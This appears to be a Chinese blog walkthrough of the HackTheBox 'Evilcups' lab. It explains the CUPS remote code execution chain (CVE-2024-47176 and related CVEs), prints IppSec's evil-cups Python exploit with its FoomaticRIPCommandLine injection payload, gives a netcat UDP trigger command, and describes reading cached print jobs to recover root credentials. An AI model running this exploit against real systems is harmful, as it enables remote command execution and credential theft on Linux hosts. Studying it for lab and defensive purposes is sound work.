自学内容网 自学内容网

Linux 打印服务RCE漏洞:HackTheBox 【Evilcups】 复现

靶场概述:

2024 年 9 月 26 日,一位名为 Simone Margaritelli 的研究人员发布了有关 CUPS 漏洞的研究。其中包括四个 CVE:

  • CVE-2024-47176 - 通常侦听所有 UDP 631 接口的服务,允许远程将打印机添加到机器。此漏洞允许任何能够访问此机器的攻击者触发“获取打印机属性”互联网打印协议 (IPP) 请求【Get-Printer-Attributes】,该请求将发送到攻击者控制的 URL。
  • CVE-2024-47076 - libcupsfilters负责处理从请求返回的 IPP 属性。这些属性未经清理就被写入临时的 Postscript 打印机描述 (PPD) 文件,从而允许写入恶意属性。
  • CVE-2024-47175 -libppd负责读取临时 PPD 文件并将其转换为系统上的打印机对象。它在读取时也不会进行清理,从而允许注入攻击者控制的数据。
  • CVE-2024-47177 - 此漏洞cups-filters允许使用打印过滤器加载打印机foomatic-rip,该过滤器是一种通用转换器,用于将 PostScript 或 PDF 数据转换为打印机可以理解的格式。它长期以来一直存在命令注入问题,并且仅限于手动安装/配置。

整个漏洞的利用中攻击者可以通过模拟IPP协议伪装成虚假的打印机,并在其附上恶意的打印机属性,通过构造特殊请求(CVE-2024-47176)触发客户端获取打印机属性,由于关键位置没有被过滤(CVE-2024-47076,CVE-2024-47175)从而导致在获取时被植入恶意指令,最后通过打印请求触发恶意指令(CVE-2024-47177)回弹shell可获取打印机的用户权限执行任意指令,从而完成了整个攻击链路。因为CUPS集成在了很多Linux 发行版中,因此漏洞的影响很大。

靶场复现

端口扫描

nmap -p- <ip> -sS -sV -sC --stats-every 1s -T4

漏洞利用

git clone https://github.com/IppSec/evil-cups.git
cd ./evil-cups
python./evil-cups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>

运行后在web页面执行打印测试页操作触发命令执行

提权

cat /var/spool/cups/d00001-001

或者下载下来使用pdf工具查看这个文件,登录root账户

漏洞分析

首先是 CVE-2024-47176 这是整个漏洞链的首要条件,通过阅读原文我们可以了解到 通过构造格式为:0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever 的udp请求 发送到631端口触发。这里我首先使用 netcat 模拟。

echo -n "0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever" | nc -u <ATTACKER-IP> 631

根据回显的效果我们可以看出来,我们成功触发了打印机服务并让他主动扫描我们的机器,而接下来我们需要模拟打印机,返回一个含有恶意指令的打印机属性,这里我们可以使用靶机作者提供的poc: https://github.com/IppSec/evil-cups.git ,我们来认真分析这个poc。

主函数

查看这个脚本的main函数处,我们可以很清晰的看出来这个程序执行的逻辑:

  • 初始化参数:本地IP,目标IP,命令,端口
  • 以多线程的方式运行打印服务
  • 向对方631端口发送UDP数据包,让目标主动扫描本机的打印服务
  • 计数器每隔1s打印一次运行时间,一方面明确等待时间,一方面阻塞程序防止关闭
if __name__ == "__main__":
#初始化参数
    if len(sys.argv) != 4:
        print("%s <LOCAL_HOST> <TARGET_HOST> <COMMAND>" % sys.argv[0])
        quit()
    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345
    command = sys.argv[3]
    #以多线程的方式运行打印服务
    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))
    threading.Thread(target=run_server,args=(server, )).start()
    #发送udp数据包
    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)
    #计数器每隔1s打印一次运行时间
    print("Please wait this normally takes 30 seconds...")
    seconds = 0
    while True:
        print(f"\r{seconds} elapsed", end="", flush=True)
        time.sleep(1)
        seconds += 1

IPP打印服务实现

  • 脚本引用了第三方库 ippserver
  • 查看第三方库源码可以发现IPPServer需要3个参数:服务器信息、请求处理器、服务器行为
    • 通过MaliciousPrinter(command)复写服务器响应的行为来伪造打印机
      • operation_printer_list_response 响应请求
      • printer_list_attributes 伪造的打印机属性
      • 打印机的属性定义是基于rfc2911
  • 运行run_server函数
    • 初始化示例化ServerContext,定义服务器的启动和关闭 -
    • 每0.5秒监听键盘退出,关闭打印服务

主函数

server = IPPServer(
   (SERVER_HOST, SERVER_PORT),
   IPPRequestHandler, 
   MaliciousPrinter(command)
)
threading.Thread(target=run_server,args=(server, )).start()

启动服务器函数

def run_server(server):
    with ServerContext(server):
        try:
            while True:
                time.sleep(.5)
        except KeyboardInterrupt:
            pass
    server.shutdown()

服务器类

from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest

class ServerContext:
    def __init__(self, server):
        self.server = server
        self.server_thread = None

    def __enter__(self):
        print(f'IPP Server Listening on {server.server_address}')
        self.server_thread = threading.Thread(target=self.server.serve_forever)
        self.server_thread.daemon = True
        self.server_thread.start()
  
    def __exit__(self, exc_type, exc_value, traceback):
        print('Shutting down the server...')
        self.server.shutdown()
        self.server_thread.join()

其他类

class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()
    def printer_list_attributes(self):
   attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-more-info',
                TagEnum.uri
            ): [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],
        }

        attr.update(super().minimal_attributes())

        return attr
         
    def operation_printer_list_response(self, req, _psfile):
        print("\ntarget connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(self.version,StatusCodeEnum.ok,req.request_id,attributes)

这个脚本开发主要有以下几个技术点:

  • python开发基础
  • 阅读第三方库源码,代码的阅读能力
  • rfc协议文档的阅读与理解
  • socket协议 发送udp请求

提权

此机器提权需要知道的几个前提信息点:

CUPS 的配置文件(通常位于 /etc/cups/cupsd.conf 中)可能被设置为保留已完成的作业。CUPS 通过 PreserveJobFilesPresveerJobHistory 选项来决定是否保留作业及其历史记录。

  • PreserveJobFiles 控制已完成的打印作业文件是否被保留。
  • PreserveJobHistory 控制已完成作业的历史记录是否被保留。

缓存作业的默认位置是在 /var/spool/cups/ 目录中,然而,lp 用户对该目录仅有执行权限,这意味着他们无法列出目录的内容。不过,如果文件名已知且文件可读,他们可以读取该目录中的文件。

已完成作业的默认格式为 d<打印作业>-<页码>,其中打印作业需要是 5 位数字,页码是 3 位数字。对于作业 1,第 1 页,文件名会是 d00001-001


原文地址:https://blog.csdn.net/HackYourself/article/details/145207571

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!